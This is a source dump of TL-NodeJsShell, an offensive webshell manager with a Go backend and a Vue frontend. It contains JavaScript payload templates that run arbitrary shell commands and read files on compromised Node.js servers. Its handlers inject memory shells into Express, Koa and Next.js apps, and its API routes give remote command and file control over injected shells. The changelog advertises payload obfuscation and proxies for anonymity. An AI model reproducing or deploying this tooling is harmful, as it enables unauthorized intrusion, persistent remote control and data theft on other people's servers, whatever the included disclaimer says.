| gcm, err := cipher.NewGCM(block) 19 | if err != nil { 20 | return "", err 21 | } 22 | 23 | nonce := make([]byte, gcm.NonceSize()) 24 | if _, err = io.ReadFull(rand.Reader, nonce); err != nil { 25 | return "", err 26 | } 27 | 28 | ciphertext := gcm.Seal(nonce, nonce, []byte(plaintext), nil) 29 | return base64.StdEncoding.EncodeToString(ciphertext), nil 30 | } 31 | 32 | func AESDecrypt(ciphertext string, key []byte) (string, error) { 33 | data, err := base64.StdEncoding.DecodeString(ciphertext) 34 | if err != nil { 35 | return "", err 36 | } 37 | 38 | block, err := aes.NewCipher(key) 39 | if err != nil { 40 | return "", err 41 | } 42 | 43 | gcm, err := cipher.NewGCM(block) 44 | if err != nil { 45 | return "", err 46 | } 47 | 48 | nonceSize := gcm.NonceSize() 49 | if len(data) < nonceSize { 50 | return "", fmt.Errorf("ciphertext too short") 51 | } 52 | 53 | nonce, ciphertextBytes := data[:nonceSize], data[nonceSize:] 54 | plaintext, err := gcm.Open(nil, nonce, ciphertextBytes, nil) 55 | if err != nil { 56 | return "", err 57 | } 58 | 59 | return string(plaintext), nil 60 | } 61 | 62 | -------------------------------------------------------------------------------- /web/src/stores/terminalStore.ts: -------------------------------------------------------------------------------- 1 | import { defineStore } from 'pinia' 2 | import { ref } from 'vue' 3 | 4 | export const useTerminalStore = defineStore('terminal', () => { 5 | const commandHistory = ref([]) 6 | const historyIndex = ref(-1) 7 | 8 | const addToHistory = (command: string) => { 9 | if (command.trim() && commandHistory.value[commandHistory.value.length - 1] !== command) { 10 | commandHistory.value.push(command) 11 | historyIndex.value = commandHistory.value.length 12 | } 13 | } 14 | 15 | const getPreviousCommand = (): string | null => { 16 | if (commandHistory.value.length === 0) return null 17 | if (historyIndex.value > 0) { 18 | historyIndex.value-- 19 | } 20 | return commandHistory.value[historyIndex.value] || null 21 | } 22 | 23 | const getNextCommand = (): string | null => { 24 | if (commandHistory.value.length === 0) return null 25 | if (historyIndex.value < commandHistory.value.length - 1) { 26 | historyIndex.value++ 27 | return commandHistory.value[historyIndex.value] || null 28 | } 29 | historyIndex.value = commandHistory.value.length 30 | return null 31 | } 32 | 33 | const resetHistoryIndex = () => { 34 | historyIndex.value = commandHistory.value.length 35 | } 36 | 37 | return { 38 | commandHistory, 39 | historyIndex, 40 | addToHistory, 41 | getPreviousCommand, 42 | getNextCommand, 43 | resetHistoryIndex, 44 | } 45 | }) 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /server/internal/core/payload/templates/downloadFile.js.tpl: -------------------------------------------------------------------------------- 1 | const fs = require('node:fs'); 2 | const path = require('node:path'); 3 | try { 4 | let filePath = {{FILE_PATH}}; 5 | if (!filePath || typeof filePath !== 'string') { 6 | throw new Error('Invalid file path'); 7 | } 8 | 9 | let target; 10 | try { 11 | target = path.resolve(filePath); 12 | } catch(pathError) { 13 | throw new Error('Failed to resolve file path: ' + String(pathError)); 14 | } 15 | 16 | if (!fs.existsSync(target)) { 17 | throw new Error('File not found: ' + target); 18 | } 19 | 20 | let stats; 21 | try { 22 | stats = fs.statSync(target); 23 | } catch(statError) { 24 | throw new Error('Failed to get file stats: ' + String(statError)); 25 | } 26 | 27 | if (!stats.isFile()) { 28 | throw new Error('Path is not a file: ' + target); 29 | } 30 | 31 | let buffer; 32 | try { 33 | buffer = fs.readFileSync(target); 34 | } catch(readError) { 35 | throw new Error('Failed to read file: ' + String(readError)); 36 | } 37 | 38 | let base64Content; 39 | try { 40 | base64Content = buffer.toString('base64'); 41 | } catch(encodeError) { 42 | throw new Error('Failed to encode file to base64: ' + String(encodeError)); 43 | } 44 | 45 | console.log(JSON.stringify({ 46 | ok: true, 47 | path: target, 48 | base64: base64Content, 49 | size: buffer.length 50 | })); 51 | } catch(error) { 52 | console.log(JSON.stringify({ 53 | ok: false, 54 | error: String(error.message || error) 55 | })); 56 | } 57 | 58 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 TianluSec 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | --- 24 | 25 | DISCLAIMER / 免责声明 26 | 27 | This tool is intended for authorized security testing and educational purposes only. 28 | Users must comply with all applicable laws and regulations. 29 | The authors and contributors are not responsible for any misuse or damage caused by this tool. 30 | 31 | 本工具仅用于授权的安全测试和教育目的。 32 | 用户必须遵守所有适用的法律法规。 33 | 作者和贡献者不对因使用本工具造成的任何滥用或损害负责。 -------------------------------------------------------------------------------- /server/internal/core/payload/templates/execCommand.js.tpl: -------------------------------------------------------------------------------- 1 | (function(){ 2 | try{ 3 | const cmd={{CMD}}; 4 | const exec=require('child_process').exec; 5 | const timeout=30000; 6 | let output=''; 7 | let success=true; 8 | let completed=false; 9 | const childProcess=exec(cmd,{maxBuffer:104857600,encoding:'utf8'},function(err,stdout,stderr){ 10 | if(completed)return; 11 | completed=true; 12 | if(err){ 13 | success=false; 14 | output=err.message||err.toString(); 15 | if(stdout)output+='\n'+stdout; 16 | if(stderr)output+='\n'+stderr; 17 | }else{ 18 | output=stdout||''; 19 | if(stderr)output+=stderr; 20 | } 21 | }); 22 | const timeoutId=setTimeout(function(){ 23 | if(!completed){ 24 | completed=true; 25 | try{childProcess.kill();}catch(e){} 26 | success=false; 27 | output='Command execution timeout after '+(timeout/1000)+' seconds'; 28 | } 29 | },timeout); 30 | const startTime=Date.now(); 31 | const maxWaitTime=timeout+5000; 32 | while(!completed&&(Date.now()-startTime) => { 6 | return request.get(`/shells/${shellId}/files`, { params: { path } }) 7 | }, 8 | read: (shellId: number, path: string): Promise<{ path: string; content: string }> => { 9 | return request.get(`/shells/${shellId}/files/read`, { params: { path } }) 10 | }, 11 | upload: (shellId: number, remotePath: string, content: string, chunkIndex?: number, totalChunks?: number): Promise => { 12 | const data: any = { remote_path: remotePath, content } 13 | if (chunkIndex !== undefined && totalChunks !== undefined) { 14 | data.chunk_index = chunkIndex 15 | data.total_chunks = totalChunks 16 | } 17 | return request.post(`/shells/${shellId}/files/upload`, data) 18 | }, 19 | download: (shellId: number, path: string, chunkIndex?: number, chunkSize?: number): Promise => { 20 | const params: any = { path } 21 | if (chunkIndex !== undefined && chunkSize !== undefined) { 22 | params.chunk_index = chunkIndex 23 | params.chunk_size = chunkSize 24 | } 25 | return request.get(`/shells/${shellId}/files/download`, { params, responseType: chunkIndex !== undefined ? 'json' : 'blob' }) 26 | }, 27 | update: (shellId: number, path: string, content: string): Promise => { 28 | return request.put(`/shells/${shellId}/files`, { path, content }) 29 | }, 30 | delete: (shellId: number, path: string): Promise => { 31 | return request.delete(`/shells/${shellId}/files`, { params: { path } }) 32 | }, 33 | mkdir: (shellId: number, path: string): Promise => { 34 | return request.post(`/shells/${shellId}/files/mkdir`, { path }) 35 | }, 36 | } 37 | 38 | 39 | -------------------------------------------------------------------------------- /server/go.mod: -------------------------------------------------------------------------------- 1 | module NodeJsshell 2 | 3 | go 1.21 4 | 5 | require ( 6 | github.com/gin-gonic/gin v1.9.1 7 | github.com/glebarez/sqlite v1.11.0 8 | github.com/google/uuid v1.6.0 9 | golang.org/x/net v0.10.0 10 | gorm.io/gorm v1.25.7 11 | ) 12 | 13 | require ( 14 | github.com/bytedance/sonic v1.9.1 // indirect 15 | github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 // indirect 16 | github.com/dustin/go-humanize v1.0.1 // indirect 17 | github.com/gabriel-vasile/mimetype v1.4.2 // indirect 18 | github.com/gin-contrib/sse v0.1.0 // indirect 19 | github.com/glebarez/go-sqlite v1.21.2 // indirect 20 | github.com/go-playground/locales v0.14.1 // indirect 21 | github.com/go-playground/universal-translator v0.18.1 // indirect 22 | github.com/go-playground/validator/v10 v10.14.0 // indirect 23 | github.com/goccy/go-json v0.10.2 // indirect 24 | github.com/jinzhu/inflection v1.0.0 // indirect 25 | github.com/jinzhu/now v1.1.5 // indirect 26 | github.com/json-iterator/go v1.1.12 // indirect 27 | github.com/klauspost/cpuid/v2 v2.2.4 // indirect 28 | github.com/leodido/go-urn v1.2.4 // indirect 29 | github.com/mattn/go-isatty v0.0.19 // indirect 30 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 31 | github.com/modern-go/reflect2 v1.0.2 // indirect 32 | github.com/pelletier/go-toml/v2 v2.0.8 // indirect 33 | github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect 34 | github.com/twitchyliquid64/golang-asm v0.15.1 // indirect 35 | github.com/ugorji/go/codec v1.2.11 // indirect 36 | golang.org/x/arch v0.3.0 // indirect 37 | golang.org/x/crypto v0.9.0 // indirect 38 | golang.org/x/sys v0.8.0 // indirect 39 | golang.org/x/text v0.9.0 // indirect 40 | google.golang.org/protobuf v1.30.0 // indirect 41 | gopkg.in/yaml.v3 v3.0.1 // indirect 42 | modernc.org/libc v1.22.5 // indirect 43 | modernc.org/mathutil v1.5.0 // indirect 44 | modernc.org/memory v1.5.0 // indirect 45 | modernc.org/sqlite v1.23.1 // indirect 46 | ) 47 | -------------------------------------------------------------------------------- /CHANGELOG_EN.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | 3 | English | [简体中文](CHANGELOG.md) 4 | 5 | All notable changes to this project will be documented in this file. 6 | 7 | The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), 8 | and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). 9 | 10 | ## [Unreleased] 11 | 12 | ### Planned 13 | - WebSocket support for real-time communication 14 | - Plugin system for extensibility 15 | - Multi-user support with authentication 16 | - Enhanced logging and audit trails 17 | - Docker deployment support 18 | 19 | ## [1.0.0] - 2024-12-12 20 | 21 | ### Added 22 | - Initial release of TL-NodeJsShell 23 | - Memory shell injection capabilities 24 | - Express middleware injection 25 | - Koa middleware injection 26 | - Prototype pollution techniques 27 | - Multiple encoding support (Base64, XOR, AES) 28 | - Interactive virtual terminal with xterm.js 29 | - Comprehensive file management system 30 | - File browser with directory navigation 31 | - Upload/download with chunked transfer 32 | - File preview and editing with Monaco editor 33 | - Proxy support (HTTP/HTTPS/SOCKS5) 34 | - Custom HTTP headers configuration 35 | - Real-time shell status monitoring 36 | - System information collection 37 | - Command history tracking 38 | - Modern Vue 3 + TypeScript frontend 39 | - Go backend with Gin framework 40 | - SQLite database for data persistence 41 | - RESTful API design 42 | - Responsive UI with Element Plus 43 | 44 | ### Security 45 | - Password protection for shells 46 | - Multiple encoding methods for payload obfuscation 47 | - Proxy support for anonymity 48 | - Input validation and sanitization 49 | 50 | ### Documentation 51 | - Comprehensive README with English and Chinese versions 52 | - API documentation 53 | - Contributing guidelines 54 | - Code of conduct 55 | - MIT License 56 | 57 | --- 58 | 59 | [Unreleased]: https://github.com/tianlusec/TL-NodeJsShell/compare/v1.0.0...HEAD 60 | [1.0.0]: https://github.com/tianlusec/TL-NodeJsShell/releases/tag/v1.0.0 -------------------------------------------------------------------------------- /server/internal/handlers/cmdHandler.go: -------------------------------------------------------------------------------- 1 | package handlers 2 | 3 | import ( 4 | "NodeJsshell/internal/core/proxy" 5 | "NodeJsshell/internal/core/transport" 6 | "NodeJsshell/internal/database" 7 | "github.com/gin-gonic/gin" 8 | "net/http" 9 | ) 10 | 11 | type CmdHandler struct { 12 | db *database.DB 13 | } 14 | 15 | func NewCmdHandler(db *database.DB) *CmdHandler { 16 | return &CmdHandler{db: db} 17 | } 18 | 19 | func (h *CmdHandler) Execute(c *gin.Context) { 20 | shellId := c.Param("shellId") 21 | var req struct { 22 | Command string `json:"command" binding:"required"` 23 | } 24 | if err := c.ShouldBindJSON(&req); err != nil { 25 | c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) 26 | return 27 | } 28 | var shell database.Shell 29 | if err := h.db.First(&shell, shellId).Error; err != nil { 30 | c.JSON(http.StatusNotFound, gin.H{"error": "Shell not found"}) 31 | return 32 | } 33 | httpClient, err := h.createHTTPClientWithProxy(shell.ProxyID) 34 | if err != nil { 35 | c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to create proxy client: " + err.Error()}) 36 | return 37 | } 38 | resp, err := SendRequest(httpClient, &shell, req.Command) 39 | if err != nil { 40 | c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) 41 | return 42 | } 43 | c.JSON(http.StatusOK, resp) 44 | } 45 | 46 | func (h *CmdHandler) createHTTPClientWithProxy(proxyID uint) (*transport.HTTPClient, error) { 47 | if proxyID > 0 { 48 | var proxyConfig database.Proxy 49 | if err := h.db.First(&proxyConfig, proxyID).Error; err != nil { 50 | return transport.NewHTTPClient(), nil 51 | } 52 | if !proxyConfig.Enabled { 53 | return transport.NewHTTPClient(), nil 54 | } 55 | proxyCfg := &proxy.ProxyConfig{ 56 | Type: proxyConfig.Type, 57 | Host: proxyConfig.Host, 58 | Port: proxyConfig.Port, 59 | Username: proxyConfig.Username, 60 | Password: proxyConfig.Password, 61 | } 62 | return transport.NewHTTPClientWithProxy(proxyCfg) 63 | } 64 | return transport.NewHTTPClient(), nil 65 | } 66 | 67 | 68 | -------------------------------------------------------------------------------- /.github/CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # 行为准则 2 | 3 | [English](CODE_OF_CONDUCT_EN.md) | 简体中文 4 | 5 | ## 我们的承诺 6 | 7 | 作为成员、贡献者和领导者,我们承诺使参与我们的社区成为一种无骚扰的体验,无论年龄、体型、明显或不明显的残疾、种族、性别特征、性别认同和表达、经验水平、教育程度、社会经济地位、国籍、个人外貌、种族、宗教或性认同和取向如何。 8 | 9 | 我们承诺以有助于开放、友好、多元、包容和健康社区的方式行事和互动。 10 | 11 | ## 我们的标准 12 | 13 | 有助于为我们的社区创造积极环境的行为示例包括: 14 | 15 | * 对他人表现出同理心和善意 16 | * 尊重不同的意见、观点和经验 17 | * 给予并优雅地接受建设性反馈 18 | * 承担责任并向受我们错误影响的人道歉,并从经验中学习 19 | * 关注不仅对我们个人最好,而且对整个社区最好的事情 20 | 21 | 不可接受的行为示例包括: 22 | 23 | * 使用性化的语言或图像,以及任何形式的性关注或性挑逗 24 | * 挑衅、侮辱或贬损性评论,以及个人或政治攻击 25 | * 公开或私下骚扰 26 | * 未经他人明确许可发布他人的私人信息,如物理地址或电子邮件地址 27 | * 在专业环境中可能被合理认为不适当的其他行为 28 | 29 | ## 执行责任 30 | 31 | 项目维护者负责阐明和执行我们可接受行为的标准,并将对他们认为不适当、威胁、冒犯或有害的任何行为采取适当和公平的纠正措施。 32 | 33 | 项目维护者有权利和责任删除、编辑或拒绝不符合本行为准则的评论、提交、代码、wiki 编辑、问题和其他贡献,并将在适当时传达审核决定的原因。 34 | 35 | ## 范围 36 | 37 | 本行为准则适用于所有社区空间,也适用于个人在公共空间正式代表社区时。代表我们社区的示例包括使用官方电子邮件地址、通过官方社交媒体帐户发布或在在线或离线活动中担任指定代表。 38 | 39 | ## 执行 40 | 41 | 可以向项目的 GitHub 仓库的项目维护者报告滥用、骚扰或其他不可接受行为的实例。所有投诉都将得到及时和公平的审查和调查。 42 | 43 | 所有项目维护者都有义务尊重任何事件报告者的隐私和安全。 44 | 45 | ## 执行指南 46 | 47 | 项目维护者将遵循这些社区影响指南来确定他们认为违反本行为准则的任何行为的后果: 48 | 49 | ### 1. 纠正 50 | 51 | **社区影响**:使用不适当的语言或其他在社区中被认为不专业或不受欢迎的行为。 52 | 53 | **后果**:项目维护者的私下书面警告,提供有关违规性质的清晰说明以及为什么该行为不适当的解释。可能会要求公开道歉。 54 | 55 | ### 2. 警告 56 | 57 | **社区影响**:通过单个事件或一系列行动的违规。 58 | 59 | **后果**:对持续行为的后果发出警告。在指定时间内不与相关人员互动,包括不主动与执行行为准则的人互动。这包括避免在社区空间以及社交媒体等外部渠道中的互动。违反这些条款可能导致临时或永久禁令。 60 | 61 | ### 3. 临时禁令 62 | 63 | **社区影响**:严重违反社区标准,包括持续的不当行为。 64 | 65 | **后果**:在指定时间内临时禁止与社区进行任何形式的互动或公开交流。在此期间不允许与相关人员进行公开或私下互动,包括不主动与执行行为准则的人互动。违反这些条款可能导致永久禁令。 66 | 67 | ### 4. 永久禁令 68 | 69 | **社区影响**:表现出违反社区标准的模式,包括持续的不当行为、骚扰个人或对某类个人的攻击或贬低。 70 | 71 | **后果**:永久禁止在社区内进行任何形式的公开互动。 72 | 73 | ## 归属 74 | 75 | 本行为准则改编自 [Contributor Covenant][homepage] 2.0 版,可在 https://www.contributor-covenant.org/version/2/0/code_of_conduct.html 获取。 76 | 77 | 社区影响指南受 [Mozilla 的行为准则执行阶梯](https://github.com/mozilla/diversity)启发。 78 | 79 | [homepage]: https://www.contributor-covenant.org 80 | 81 | 有关本行为准则的常见问题解答,请参阅 https://www.contributor-covenant.org/faq。翻译版本可在 https://www.contributor-covenant.org/translations 获取。 -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature Request / 功能请求 3 | about: Suggest an idea for this project / 为此项目提出想法 4 | title: '[FEATURE] ' 5 | labels: enhancement 6 | assignees: '' 7 | --- 8 | 9 | ## Feature Description / 功能描述 10 | 11 | **Is your feature request related to a problem? Please describe.** 12 | **您的功能请求是否与问题相关?请描述。** 13 | 14 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 15 | 清晰简洁地描述问题是什么。例如:我总是对 [...] 感到沮丧 16 | 17 | **Describe the solution you'd like** 18 | **描述您想要的解决方案** 19 | 20 | A clear and concise description of what you want to happen. 21 | 清晰简洁地描述您希望发生什么。 22 | 23 | **Describe alternatives you've considered** 24 | **描述您考虑过的替代方案** 25 | 26 | A clear and concise description of any alternative solutions or features you've considered. 27 | 清晰简洁地描述您考虑过的任何替代解决方案或功能。 28 | 29 | ## Use Case / 使用场景 30 | 31 | **Who will benefit from this feature?** 32 | **谁将从此功能中受益?** 33 | 34 | - [ ] Security professionals / 安全专业人员 35 | - [ ] Penetration testers / 渗透测试人员 36 | - [ ] Developers / 开发人员 37 | - [ ] Other / 其他: ___________ 38 | 39 | **Describe the use case** 40 | **描述使用场景** 41 | 42 | Explain how this feature would be used in practice. 43 | 解释此功能在实践中如何使用。 44 | 45 | ## Implementation Suggestions / 实现建议 46 | 47 | **Technical approach / 技术方法** 48 | 49 | If you have ideas on how to implement this feature, please share them. 50 | 如果您对如何实现此功能有想法,请分享。 51 | 52 | **Affected components / 受影响的组件** 53 | 54 | - [ ] Backend / 后端 55 | - [ ] Frontend / 前端 56 | - [ ] Database / 数据库 57 | - [ ] API / 接口 58 | - [ ] Documentation / 文档 59 | 60 | ## Additional Context / 附加信息 61 | 62 | Add any other context, screenshots, or examples about the feature request here. 63 | 在此添加有关功能请求的任何其他上下文、截图或示例。 64 | 65 | ## Priority / 优先级 66 | 67 | How important is this feature to you? 68 | 此功能对您有多重要? 69 | 70 | - [ ] Critical / 关键 71 | - [ ] High / 高 72 | - [ ] Medium / 中 73 | - [ ] Low / 低 74 | 75 | ## Willingness to Contribute / 贡献意愿 76 | 77 | - [ ] I am willing to submit a PR to implement this feature / 我愿意提交 PR 来实现此功能 78 | - [ ] I can help with testing / 我可以帮助测试 79 | - [ ] I can help with documentation / 我可以帮助编写文档 -------------------------------------------------------------------------------- /server/internal/database/shell.go: -------------------------------------------------------------------------------- 1 | package database 2 | 3 | import ( 4 | "time" 5 | "gorm.io/gorm" 6 | ) 7 | 8 | type Shell struct { 9 | ID uint `gorm:"primaryKey" json:"id"` 10 | URL string `gorm:"not null" json:"url"` 11 | Password string `gorm:"not null" json:"-"` 12 | EncodeType string `gorm:"default:''" json:"encode_type"` 13 | Protocol string `gorm:"default:multipart" json:"protocol"` 14 | Method string `gorm:"default:POST" json:"method"` 15 | Group string `json:"group"` 16 | Name string `json:"name"` 17 | Status string `gorm:"default:offline" json:"status"` 18 | LastActive time.Time `json:"last_active"` 19 | Latency int `json:"latency"` 20 | SystemInfo string `gorm:"type:text" json:"system_info"` 21 | SystemInfoJSON string `gorm:"type:text" json:"system_info_json"` 22 | CustomHeaders string `gorm:"type:text" json:"custom_headers"` 23 | ProxyID uint `json:"proxy_id"` 24 | CreatedAt time.Time `json:"created_at"` 25 | UpdatedAt time.Time `json:"updated_at"` 26 | DeletedAt gorm.DeletedAt `gorm:"index" json:"-"` 27 | } 28 | 29 | type History struct { 30 | ID uint `gorm:"primaryKey" json:"id"` 31 | ShellID uint `gorm:"not null" json:"shell_id"` 32 | Type string `gorm:"not null" json:"type"` 33 | Command string `gorm:"type:text" json:"command"` 34 | Result string `gorm:"type:text" json:"result"` 35 | Success bool `json:"success"` 36 | CreatedAt time.Time `json:"created_at"` 37 | DeletedAt gorm.DeletedAt `gorm:"index" json:"-"` 38 | } 39 | 40 | type Proxy struct { 41 | ID uint `gorm:"primaryKey" json:"id"` 42 | Name string `gorm:"not null" json:"name"` 43 | Type string `gorm:"not null" json:"type"` 44 | Host string `gorm:"not null" json:"host"` 45 | Port int `gorm:"not null" json:"port"` 46 | Username string `json:"username"` 47 | Password string `json:"-"` 48 | Enabled bool `gorm:"default:true" json:"enabled"` 49 | CreatedAt time.Time `json:"created_at"` 50 | UpdatedAt time.Time `json:"updated_at"` 51 | DeletedAt gorm.DeletedAt `gorm:"index" json:"-"` 52 | } 53 | 54 | -------------------------------------------------------------------------------- /server/internal/handlers/payloadHandler.go: -------------------------------------------------------------------------------- 1 | package handlers 2 | 3 | import ( 4 | "NodeJsshell/internal/core/exploit" 5 | "NodeJsshell/internal/core/payload" 6 | "github.com/gin-gonic/gin" 7 | "net/http" 8 | ) 9 | 10 | type PayloadHandler struct { 11 | } 12 | 13 | func NewPayloadHandler() *PayloadHandler { 14 | return &PayloadHandler{} 15 | } 16 | 17 | func (h *PayloadHandler) GetTemplates(c *gin.Context) { 18 | templates := payload.GetTemplates() 19 | c.JSON(http.StatusOK, templates) 20 | } 21 | 22 | func (h *PayloadHandler) Inject(c *gin.Context) { 23 | var req struct { 24 | URL string `json:"url" binding:"required"` 25 | Password string `json:"password"` 26 | EncodeType string `json:"encode_type"` 27 | TemplateName string `json:"template_name"` 28 | ShellPath string `json:"shell_path"` 29 | Headers map[string]string `json:"headers"` 30 | } 31 | if err := c.ShouldBindJSON(&req); err != nil { 32 | c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) 33 | return 34 | } 35 | if req.TemplateName == "" && req.ShellPath != "" { 36 | headers := req.Headers 37 | if headers == nil { 38 | headers = make(map[string]string) 39 | } 40 | if headers["Next-Action"] == "" { 41 | headers["Next-Action"] = "x" 42 | } 43 | if headers["X-Nextjs-Request-Id"] == "" { 44 | headers["X-Nextjs-Request-Id"] = "b5dce965" 45 | } 46 | if headers["X-Nextjs-Html-Request-Id"] == "" { 47 | headers["X-Nextjs-Html-Request-Id"] = "SSTMXm7OJ_g0Ncx6jpQt9" 48 | } 49 | err := exploit.InjectNextJSMemoryShell(req.URL, req.ShellPath, headers) 50 | if err != nil { 51 | c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) 52 | return 53 | } 54 | c.JSON(http.StatusOK, gin.H{ 55 | "success": true, 56 | "message": "Next.js memory shell injected successfully", 57 | "shell_url": req.URL + req.ShellPath, 58 | }) 59 | return 60 | } 61 | if req.EncodeType == "" { 62 | req.EncodeType = "base64" 63 | } 64 | err := exploit.InjectMemoryShell(req.URL, req.Password, req.EncodeType, req.TemplateName) 65 | if err != nil { 66 | c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) 67 | return 68 | } 69 | c.JSON(http.StatusOK, gin.H{ 70 | "success": true, 71 | "message": "Memory shell injected successfully", 72 | }) 73 | } 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /server/internal/app/routes/routes.go: -------------------------------------------------------------------------------- 1 | package routes 2 | 3 | import ( 4 | "NodeJsshell/internal/database" 5 | "NodeJsshell/internal/handlers" 6 | "os" 7 | "path/filepath" 8 | 9 | "github.com/gin-gonic/gin" 10 | ) 11 | 12 | func SetupRoutes(router *gin.Engine) { 13 | db := database.NewDB() 14 | 15 | shellHandler := handlers.NewShellHandler(db) 16 | fileHandler := handlers.NewFileHandler(db) 17 | proxyHandler := handlers.NewProxyHandler(db) 18 | payloadHandler := handlers.NewPayloadHandler() 19 | 20 | api := router.Group("/api") 21 | { 22 | api.GET("/shells", shellHandler.List) 23 | api.GET("/shells/:id", shellHandler.Get) 24 | api.POST("/shells", shellHandler.Create) 25 | api.PUT("/shells/:id", shellHandler.Update) 26 | api.DELETE("/shells/:id", shellHandler.Delete) 27 | api.POST("/shells/:id/test", shellHandler.Test) 28 | api.POST("/shells/:id/execute", shellHandler.Execute) 29 | api.GET("/shells/:id/info", shellHandler.GetInfo) 30 | 31 | // 文件管理路由 - 使用 /shells/:id/files 格式匹配前端 32 | api.GET("/shells/:id/files", fileHandler.List) 33 | api.GET("/shells/:id/files/read", fileHandler.Read) 34 | api.POST("/shells/:id/files/upload", fileHandler.Upload) 35 | api.GET("/shells/:id/files/download", fileHandler.Download) 36 | api.PUT("/shells/:id/files", fileHandler.Update) 37 | api.DELETE("/shells/:id/files", fileHandler.Delete) 38 | api.POST("/shells/:id/files/mkdir", fileHandler.Mkdir) 39 | 40 | api.GET("/proxies", proxyHandler.List) 41 | api.POST("/proxies", proxyHandler.Create) 42 | api.PUT("/proxies/:id", proxyHandler.Update) 43 | api.DELETE("/proxies/:id", proxyHandler.Delete) 44 | api.POST("/proxies/:id/test", proxyHandler.Test) 45 | 46 | api.GET("/payloads/templates", payloadHandler.GetTemplates) 47 | api.POST("/payloads/inject", payloadHandler.Inject) 48 | } 49 | 50 | distPath := "../web/dist" 51 | if _, err := os.Stat(distPath); os.IsNotExist(err) { 52 | distPath = "./web/dist" 53 | } 54 | 55 | absDistPath, err := filepath.Abs(distPath) 56 | if err != nil { 57 | absDistPath = distPath 58 | } 59 | 60 | router.Static("/assets", filepath.Join(absDistPath, "assets")) 61 | router.StaticFile("/favicon.ico", filepath.Join(absDistPath, "favicon.ico")) 62 | router.StaticFile("/vite.svg", filepath.Join(absDistPath, "vite.svg")) 63 | indexPath := filepath.Join(absDistPath, "index.html") 64 | router.GET("/", func(c *gin.Context) { 65 | c.File(indexPath) 66 | }) 67 | router.NoRoute(func(c *gin.Context) { 68 | c.File(indexPath) 69 | }) 70 | } 71 | -------------------------------------------------------------------------------- /.github/PULL_REQUEST_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | # Pull Request / 拉取请求 2 | 3 | ## Description / 描述 4 | 5 | Please include a summary of the changes and the related issue. Please also include relevant motivation and context. 6 | 请包含更改摘要和相关问题。还请包含相关的动机和上下文。 7 | 8 | Fixes # (issue) 9 | 修复 # (问题编号) 10 | 11 | ## Type of Change / 更改类型 12 | 13 | Please delete options that are not relevant. 14 | 请删除不相关的选项。 15 | 16 | - [ ] Bug fix / 错误修复 (non-breaking change which fixes an issue) 17 | - [ ] New feature / 新功能 (non-breaking change which adds functionality) 18 | - [ ] Breaking change / 破坏性更改 (fix or feature that would cause existing functionality to not work as expected) 19 | - [ ] Documentation update / 文档更新 20 | - [ ] Performance improvement / 性能改进 21 | - [ ] Code refactoring / 代码重构 22 | - [ ] Tests / 测试 23 | 24 | ## Changes Made / 所做更改 25 | 26 | Please provide a detailed list of changes: 27 | 请提供详细的更改列表: 28 | 29 | - 30 | - 31 | - 32 | 33 | ## Testing / 测试 34 | 35 | Please describe the tests that you ran to verify your changes. 36 | 请描述您运行的测试以验证您的更改。 37 | 38 | **Test Configuration / 测试配置:** 39 | - OS / 操作系统: 40 | - Go Version / Go 版本: 41 | - Node.js Version / Node.js 版本: 42 | 43 | **Test Cases / 测试用例:** 44 | - [ ] Unit tests pass / 单元测试通过 45 | - [ ] Integration tests pass / 集成测试通过 46 | - [ ] Manual testing completed / 手动测试完成 47 | 48 | ## Checklist / 检查清单 49 | 50 | - [ ] My code follows the style guidelines of this project / 我的代码遵循此项目的样式指南 51 | - [ ] I have performed a self-review of my code / 我已对我的代码进行了自我审查 52 | - [ ] I have commented my code, particularly in hard-to-understand areas / 我已注释了我的代码,特别是在难以理解的区域 53 | - [ ] I have made corresponding changes to the documentation / 我已对文档进行了相应的更改 54 | - [ ] My changes generate no new warnings / 我的更改不会产生新的警告 55 | - [ ] I have added tests that prove my fix is effective or that my feature works / 我已添加证明我的修复有效或我的功能有效的测试 56 | - [ ] New and existing unit tests pass locally with my changes / 新的和现有的单元测试在本地通过我的更改 57 | - [ ] Any dependent changes have been merged and published / 任何依赖的更改已合并并发布 58 | 59 | ## Screenshots / 截图 60 | 61 | If applicable, add screenshots to help explain your changes. 62 | 如果适用,添加截图以帮助解释您的更改。 63 | 64 | ## Breaking Changes / 破坏性更改 65 | 66 | 